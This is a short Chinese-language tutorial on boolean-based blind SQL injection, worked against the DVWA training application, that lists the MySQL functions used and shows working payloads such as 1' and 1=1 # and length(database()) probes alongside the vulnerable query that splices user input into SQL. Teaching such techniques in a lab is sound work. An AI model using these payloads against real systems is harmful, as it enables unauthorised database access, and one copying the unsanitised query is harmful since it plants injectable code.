布尔型盲注简介
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True
(页面)和False
(页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
环境:DVWA
我们输入数字1
提交,页面提示:User ID exists in the database.
,说明ID
为1
的存在与数据库中!
我们输入数字
10
提交,页面显示:User ID is MISSING from the database
,说明ID
为10不在
数据库中!
MySQL盲注常用函数
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
盲注流程
1、判断是否存在注入,是字符型还是数字型注入
注入点原查询代码:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
判断注入:
注入语句:
1' and 1=1 #
带入查询的语句:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';";
注入语句:
1' and 1=2 #
带入查询的语句:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";
1' and 1=1 #
返回正常:
1' and 1=2 #
返回错误:
说明存在注入,而且是字符型的注入!(如果是数字型的注入,那么就不用去闭合单引号)
2、猜解当前数据库名
猜数据库名长度:
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #
1' and length(database())=3 #
,页面返回错误:
1' and length(database())=4 #
,页面返回正常:
说明当前数据库名长度为4
!